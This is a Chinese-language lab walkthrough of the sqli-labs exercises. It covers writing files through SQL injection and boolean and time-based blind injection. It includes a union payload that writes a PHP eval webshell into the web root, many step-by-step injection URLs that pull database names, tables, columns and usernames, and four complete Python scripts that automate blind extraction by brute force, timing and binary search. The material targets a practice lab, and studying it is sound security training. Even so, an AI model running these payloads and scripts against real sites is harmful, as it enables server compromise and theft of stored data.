之前已经通过sqli-libs攻关的方式,总结过SQL注入的简单注入和双注入。所以这次继续通过sqli-libs攻关的方式总结SQL注入的布尔盲注和时间盲注。
在开始盲注前,先把之前未总结的导出文件GET字符型注入学习一下
导出文件
1、LOAD_FILE
可以利用该函数,进写入shell
用法:select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问。
2、payload中只能在/home/wwwroot/default/mysql才能写入或者读取文件。因为mysql目录的权限我们设置chowm -R mysql:mysql
3、另外要保证正常的文件写入与读取要在mysql配置文件my.cnf最后一行新增secure_file_priv= "/"方法,才能使用LOAD_FILE在生产环境情况下。
利用
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面。
常用的语句是: select "" into outfile "XXX\test.php"
,当这里要获取到网站的在系统中的具体路径(绝对路径)
获取方法,根据系统和数据库猜测。如winserver的asp默认路径是c:/inetpub/wwwroot/
linux的nginx一般是
/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/html等
apache
/var/www/htm,/var/www/html/htdocs
1、利用写入新增任意文件
payload
?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "/home/wwwroot/default/mysql/1.txt" --+
2、验证是否写入成功
payload
访问写入的文件mysql/1.txt
布尔盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.布尔盲注过程
(select count(schema_name) from information_schema.sc hemata)> n
n为数据库个数,当数据库个数大于n页面显示正常
(select length(schema_name) from information_schema.s chemata limit 0,1)> n
该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105
ascii()将返回字符串的ascii值。
第一个1,表示截取字符串的起始位置。
第二个1,表示截取字符串长度
语句作用:判断第一个库第一个字符是什么
时间盲注
1.时间盲注利用前提
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
2.时间盲注过程
if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1)
判断数据库个数
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)
判断 第一个库第一个字符
相关函数
Length()函数 返回字符串的长度
substr()截取字符串
ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
思路
1.先利用length()判断数据库长度
2.然后利用if函数、substr函数和ascii函数构造猜测数据库名ascii码的值的语句。
1、测试
1.测闭合方式
输入id=1
输入id=1'
输入id=1’–+正常,
输入id=1’ and 1=1–+正常,
输入id=1’ and 1=2–+不回显,
可判定是字符型注入并且为单引号闭合。
2.测列
输入id=1' order by 4--+
不回显,说明有三列。
3.测长度
判断数据库名的长度
输入id=1' and (length(database())=8)--+
正常
说明长度为8。
4.测字符
用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
输入id=1' and (ascii(substr(database(),1,1))>97)--+
正常
2、注入
1.猜库
第一个字符
输入?id=1' and (ascii(substr(database(),1,1))>110)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>116)--+不回显,
输入?id=1' and (ascii(substr(database(),1,1))>113)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>114)--+正常,
输入?id=1' and (ascii(substr(database(),1,1))>115)--+不回显,
说明数据库名的第一个字符ASCII码为115,即“s”。
第二个字符
输入?id=1' and (ascii(substr(database(),2,1))>101)--+不回显,
输入?id=1' and (ascii(substr(database(),2,1))>100)--+正常,
说明第二个字符是“e“。以此类推。
2.猜表
payload
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97)--+ 正常
然后改变大于号后面的数字,查找到第一个字符的ASCII码,
再改变substr()函数的第二个参数值获取下一个字符,改变limit子句判断下一个表名。
3.猜字段
payload
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))>97--+
4.数据
payload
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>65--+
我写的普通脚本:
import requests
import string
if __name__ == "__main__":
chars=string.ascii_letters+string.digits
url="http://x.x.x.165:8001/Less-8/"
payload="1' and ascii(substr(database(),{0},1))={1} #" #0 1设置指定位置
#payload='" or ascii(substr(database(),{:d},1))={:d} #'
#payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
#payload='"or ascii(substr((select column_name from information_schema.columns where table_name="users" and table_schema=database() limit 3,1),{0},1))={1}#'
#payload='" or ascii(substr((select flag from users limit 0,1),{0},1))={1}#'
print("爆出数据结果:")
name=''
for i in range(1,40):
char=''
for j in chars:
payloads=payload.format(i,ord(j))
data={'id':payloads}
r=requests.post(url,params=data)
if "You are in" in r.text:
name+=j
print(name)
char=j
break
if char=='':
break
大师傅写的二分法脚本:
# conding:utf-8
import requests
url_init = "http://localhost/sqli-labs/Less-8/?id=1";;
url_init_error = url_init + "'"
length_init = requests.get(url_init).headers.get('Content-Length')
database=""
# and ascii(substr((select database()),1,1))>64 %23 然后不断增加后面的数字大小来确定
#and ascii(substr((select table_name from information_schema.tables where table_schema=hex(int (database))),1,1))>64 %23
# 写一个方法二分快速获取应该判断的数字
# 返回数字,传入布尔值,对还是错,对应的数字。
# 正经的二分查询。有序的字符中,最大最小。65到122
# 我们现在知道了返回长度多少是正确的和错误的
#
def get_length(url):
length = requests.get(url).headers.get('Content-Length')
#print("length:"+str(length))
# 正确的
if (length == length_init):
return True
else:
return False
def geturl(n,number):
url = url_init_error+"and ascii(substr((select database()),{0},1))>{1} %23".format(n,number)
print(url)
return url
def efs(min_number,max_number,n):
if(max_number-min_number==1):
print("[+] get "+chr(max_number))
global database
database=database+(chr(max_number))
print('[+] databse is {0}'.format(database))
return
number = int((min_number+max_number)/2)
#print(number)
url = geturl(n,number)
#print(url)
#如果比中间大
if get_length(url):
efs(number,max_number,n)
else:
efs(min_number,number,n)
for n in range(1,10):
#如果大于1都不满足就是结束了
if(get_length(geturl(n,1))is False):
break
else:
efs(65,127,n)
Time型盲注和Bool型盲注应用场景不同之处在报错的返回上。
Less8中,输入合法时会返回正常页面“You are in”,而非法输入时没有返回任何东西。于是可以根据这个特点跑盲注,通过不同的返回页面来判断匹配的字符是否正确。
而在Less9中,合法输入与非法输入返回为同一个固定字符串。这样就不能根据页面的回显来判断匹配结果,要使用延时函数sleep()对两种输入进行区分。
注意
Time盲注时,穷举会比二分查找快很多。Bool盲注时,则二分查找更快一些。
1、测试
过程同Less8。与Less8相比,用了sleep()函数。
2、注入
注入过程同Less8。与Less8相比,用了sleep()函数。
1.猜库
payload
输入?id=1' and if(ascii(substr((select database()),1,1))>114,1,sleep(5))--+正常
输入?id=1' and if(ascii(substr((select database()),1,1))>115,1,sleep(5))--+延迟
说明第一个字符是s,然后以此类推得出数据库名。
2.猜表
payload
输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101),1,sleep(5))--+延迟
说明第一个表的第一个字符为“e”。
3.猜字段
payload
输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105),1,sleep(5))--+延迟
说明第一个字符为“i”。
4.数据
payload
输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>67),1,sleep(5))--+正常
输入?id=1' and if((ascii(substr((select username from security.users limit 0,1),1,1))>68),1,sleep(5))--+延迟
说明第一个字符为“D”。
我写的脚本:
import requests
import string
import time
import datetime
chars=string.ascii_letters+string.digits
url="http://x.x.x.165:8001/Less-9/"
payload="1' and if((ascii(substr(database(),{0},1))={1}),sleep(3),1) #"
#payload="1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(3),1) #"
#payload="1'and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),{0},1))={1}),sleep(3),1) #"
#payload="1' and if((ascii(substr((select password from users limit 0,1),{0},1))={1}),sleep(3),1) #"
print("数据:")
name=''
for i in range(1,40):
char=''
for j in chars:
payloads=payload.format(i,ord(j))
data={'id':payloads}
t1=datetime.datetime.now()
r=requests.get(url,params=data)
t2=datetime.datetime.now()
sec = (t2 - t1).seconds
if sec>=3:
name+=j
print(name)
char=j
break
if char=='':
break
大师傅的脚本:
import requests
value ="abcdefghigklmnopqrstuvwxyz@_."
data=""
url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"
url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"
def get_length(payload):
for n in range(1,100):
url= url_length.format(payload,n)
print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,v)
print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=4)
return False
except Exception as e:
print("......")
return True
databse_payload ="select database()"
get_data(databse_payload,value,get_length(databse_payload)+1)
和Less9差别只在于单双引号,修改查询语句闭合后用脚本注入即可。
总结之后,又对盲注有了更深一步的理解。脚本是硬伤,我要继续好好学习python了。
小白进阶ing。。。。